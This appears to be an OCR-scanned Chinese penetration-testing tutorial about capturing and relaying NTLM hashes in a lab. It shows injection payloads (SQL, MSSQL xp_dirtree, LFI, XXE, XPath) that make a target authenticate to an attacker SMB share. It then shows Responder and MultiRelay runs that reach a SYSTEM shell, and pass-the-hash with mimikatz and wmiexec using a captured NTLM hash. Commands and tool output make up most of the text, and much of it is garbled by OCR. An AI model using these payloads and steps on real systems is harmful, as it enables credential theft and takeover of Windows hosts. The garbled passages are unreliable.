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username: :hostname:LM
response:NTLM
response:challenges

admin::N46iSNekpT:08cad5b7d7ea58ee:88dcbe4446168966a1532a0064958d
ac6:5c7830315¢c7830310000000000000b45¢c67103d07d7b95acd12ffall230e
0000000052920b85178d013¢c31cdb3b925d765c783030
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mysql5.5.53 Z IS secure file
privEBRIN NNULL, AR FfEHload file() ESH.

secure _ file priv&FHEwmS
@@secure_file_priv;
@@global.secure_file_priv;

"secure_file priv";




secure_file priv || NULL
__________________ .I. [ ———
row in set, 1 warnin

(0. 00 sec)
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1. B3 mysqld #E, ¥SH K NT.
mysqld.exe

2. B dmy. ini XX, BINS %

secure-file-priv=

mysqgld
secure-file-priv=
port=3306
basedir=C:/phpstudy pro/Extensions/MySQL5.7.26/
datadir=C:/phpstudy pro/Extensions/MySQL5.7.26/data/
character-set-server=utf8

[ ] r L]

3. HdmysqlJaisecure file  privilifEE NS,
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1. F#Responder

NE Mk https://github. com/lgandx/Responder
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http://192.168.0.103/dvwa/vulnerabilities/sqli/?id=1%27%20union%
20select%201,load file(%27\\\\192.168.0.102\\1%27)%23&Submit=Sub

mit
g PL T B 4%
select load file('\\\\error\\abc');

select load_file(®x5c5c5c5c6572726F725c5c616263);

select 'osanda' into dumpfile '\\\\error\\abc';

select 'osanda' into outfile '\\\\error\\abc';

load data infile '"\\\\error\\abc' into table

database.table_name;

Vulnerability: SQL Injection

Setup / Reset DB User ID: Submit

Insecure CAPTCHA More Information

SQL Injection (Blind)
Weak Session IDs.

XSS (DOM)

MSSQL

HT X EERER, BT LR AT .

‘;declare @q varchar(99);set @g='\\192.168.0.102\test"'; exec

master.dbo.xp_dirtree @q

LFI



PHPH Hinclude () p& &t n] DL A# A X 4% % 1% -

http://192.168.0.103/dvwa/vulnerabilities/fi/?page=\\\192.168.0.

102\123

XH(F) EfF(A) IREE(E) S8V

jarning: include(11192.168.0.102\123): faded 10 open stream’ denied in C:

jarning: include(): Failed opening 11192.168.0.1021123 for inclusion (inchude_path=".,C:\php\pear. ./_/extemal/phpids/0 8b/) in C:iph

Setup / Reset DB

Brute Force
Command Injection

File Upload
Insecure CAPTCHA
SQL Injection

XXE

(i H “php://filter/convert. base64-
encode/resource=" K@ M %% K 1% .

1>

<root>
<name></name>
<tel></tel>
<email>0UT&xxe;0UT</email>
<password></password>

</root>



XPath Injection

XPathiE A H i doc () B8 Hot Al LUK A B X 45 B 42

http://192.168.0.103/?title=Foundation&type=*&rent_days=* and
doc('//192.168.0.102/abc")
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1. ff HHResponder B fJtools L HA, w PLENTLMv1/2 & 47 56 E
HBNFFE M B, WHERIN G 3K shell,

rootagkali:-/Responder-3.0.0.0/toolsk 1s
BrowserListener.py FindSQLSrv.py odict.py RunFinger.py
DHCP_Auto.sh Icmp-Redirect.py odict.pyc SMBFinger

DHCP . py MultiRelay RunFingerPackets.py
FindSMB2UPTime.py  MultiRelay.py RunFingerPackets.pyc

2. b BN HbRERAH P, HHBERARASIBZE 4, Al
ffif LN 4RI RS A %, # LA F OSMB
signing: False, & ITFREZEZ. (Mikwinl0FE ZEIF &3 smb X #F
)

python RunFinger.py -i 172.20.10.0/24



rootgkali:~/Responder-3.0.0.0/tools# python RunFinger.py -i 172.20.10.0/24
Retrieving information for 172.20.10.3...

SMB signing: False

Null Sessions Allowed: False

Server Time: 2020-07-17 17:05:23

0S version: 'Could not fingerprint Os version.'

Lanman Client: 'Could not fingerprint LanManager Client version
Machine Hostname: 'WIN1@TEST'

This machine is part of the 'WORKGROUP' domain

RDP port open: 'True'

]

Retrieving information for 172.20.10.5...

SMB signing: False

Null Sessions Allowed: False

Server Time: 2020-07-17 17:05:24

0S version: 'Could not fingerprint Os version.'

Lanman Client: 'Could not fingerprint LanManager Client version
Machine Hostname: 'CB74'

This machine is part of the 'WORKGROUP' domain

RDP port open: 'True'
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[] Microsoft Defender i FBfEREBHF 2
Microsoft Print to PDF
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[] Microsoft i&EBAFI(MSMQ)IRS3 28
[ ] MultiPoint Connector
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| CIFS =)
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[] Telnet ZFig
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[ ] Windows Identity Foundation 3.5

3. W HBResponder. confJSMBFHTTP NOFfR~ZEH, H M <SE5M

ultirelay. py I AWM., R)5i84iTResponder. py AT MW7 .

./Responder.py -I eth@ -wvrf



rootgkali:~/Responder-3.0.0.0# 1s

certs

logs

DumpHash. py odict.py
files
fingerprint.py
fingerprint.pyc packets.py

LICENSE

odict.pyc

[Responder

- Servers
SQL = On
SMB = Off
RDP = 0On
Kerberos
FTP = On
POP =

SMTP
IMAP
HTTP
HTTPS
DNS = On
LDAP = On

polsoners
README . md
Report.py

05X_launcher.sh | Responder
Kesponder.
packets.pyc Responder.

Core]

to start

servers
settings.py
settings.pyc
tools
utils.py
utils.pyc




rootakali:~/Responder-3.0.0.0# ./Responder.py -I eth® -wvrf

T=NS,

LLMNR

& MDNS Responder

Author: Laurent Gaffie (laurent.gaffieagmail.com)
To kill this script hit CTRL-C

Poisoners:
LLMNR
NBT-NS
DNS/MDNS

Servers:

HTTP server
HTTPS server

WPAD proxy
Auth proxv
SMB server

Kerberos server

SQL server
FTP server

4.124TMultiRelay i 4,

p SR BB (1 H A

Python MultiRelay.py -t 172.20.10.6 -u ALL

MTP server
DNS server
LDAP server
RDP server

HTTP Options:
Always serving EXE
Serving EXE
Serving HTML
Upstream Proxy

Poisoning Options:
Analyze Mode

Force WPAD auth
Force Basic Auth
Force LM downgrade
Fingerprint hosts

Generic Options:
Responder NIC
Responder IP
Challenge set

Don't Respond To Names

Listening for events...

rootgkali:~/Responder-3.0.0.8/tools# python MultiRelay.py -t 172.20.10.6 -u
ALL

Responder MultiRelay 2.0 NTLMv1i/2 Relay

Send bugs/hugs/comments to: laurent.gaffieggmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/=
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 8@, 3128 and 445.

For optimal pwnage, launch Responder only with these 2 options:

=TV

Avoid running a command that will likely prompt for information like net us
e, etc.

If you do so, use taskkill (as system) to kill the process.

*/

Relaying credentials for these users:

Retrieving information for 172.20.10.6...

0s versi ‘Windows 1@ Education 19041°
Hostname: '36@PHOENIXTEAM'
Part of the 'GOD' domain




5. WESEMZE, M MHoobii AiE NG M hash, &i#fishell, SEMKr
elay B,

172.20.10.3

T Vulnerability: SQL Injection
Instructions

Setup / Reset DB | User ID: Submit

Brute Force | }:T‘.ﬂi name: admin

Command Injection Surname: admin

CSRF

File Inclusion More Information
File Upload .



Hostname:

Part of the 'GOD' doma:n

[+] Setting up SMB relay with SMB challenge: a69c8a369fcebch3
[+] Received NTLMv2 hash from: 172.20.10.3

[+] Username: Administrator is whitelisted, forwarding credentials.

[+] SMB Session Auth sent.

[+] Looks good, Administrator has admin rights on C$.

[+] Authenticated.

[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:

dump — Extract the SAM database and print hashes.

regdump KEY — Dump an HKLM registry key (eg: regdump SYSTEM)

read Path_To_File — Read a file (eg: read /windows/win.ini)

get Path_To_File — Download a file (eg: get users/administrator/desktop/
password.txt)

delete Path_To_File— Delete a file (eg: delete /windows/temp/executable.ex
e)

upload Path_To_File— Upload a local file (eg: upload /home/user/bk.exe), f
iles will be uploaded in \windows\temp\

runas Command - Run a command as the currently logged in user. (eg: r
unas whoami)

scan /24 Scan (Using SMB) this /24 or /16 to find hosts to piv
ot to

pivot IP address Connect to another host (eg: pivot 10.0.0.12)

mimi command Run a remote Mimikatz 64 bits command (eg: mimi coffe
e)

mimi32 command Run a remote Mimikatz 32 bits command (eg: mimi coffe

command Run a local command and display the result in MultiRe
lay shell (eg: lcmd ifconfig)
help — Print this message.
exit — Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.
Connected i 0.6 ocalSystem.

C \W1ndows\system32\ #whoaml

nt authority\system

C:\Windows\system32\:#ipconfig
Windows IP ©99@

VOV00V00000 V000!

G000 000 DNS GO . . . . . . .

IPvG €€ . . . . . . . ... ..:172.20.10.6
@00000ee . . . . . . ... ... :255.255.255.0
10600006, ¢ e s e e s s el




Pass the hash
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1. 38 Blhash.

mimikatz
Privilege " 20

mimikatz #|sekurlsa::logonpasswords

: 0 ;
: Interac
* Name . admi

n Server
on Time
) 2381784089-500

Primarv
%dmlnlsltfucn

3160917

2. FlAHwmiexec T HE#Tpthdi, AT RS w2 -

python wmiexec.py -hashes
0000V VOPOVVVVVVOVOVVVVOVOVVVLVVD :63f82e28064cfbeabcb23cPadadfcol
6 god.org/administrator@172.20.10.3 "whoami"

root@kali:~/impacket-0.9.21/examples# python wmiexec.py -hashes 00000000000
0000000000000V 000000PD:63f82e28064cfbeabcb23cPadastfc916 god.org/administrato
ral72.20.10.3 "whoami"

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.@ dialect used
god\administrator

3*”%m1m1kataz?]ﬂf@$§%ﬁ, ’Tﬁﬁﬁhashﬁ'}[—{—lo (WuL&JJE” /I‘

un:cmd. exe “)



privilege: :debug

sekurlsa::pth /user:administrator /domain:god.org

/ntlm:63182e28064cfbeabcb23cPadasdfc916 "/run:mstsc.exe

/restrictedadmin®
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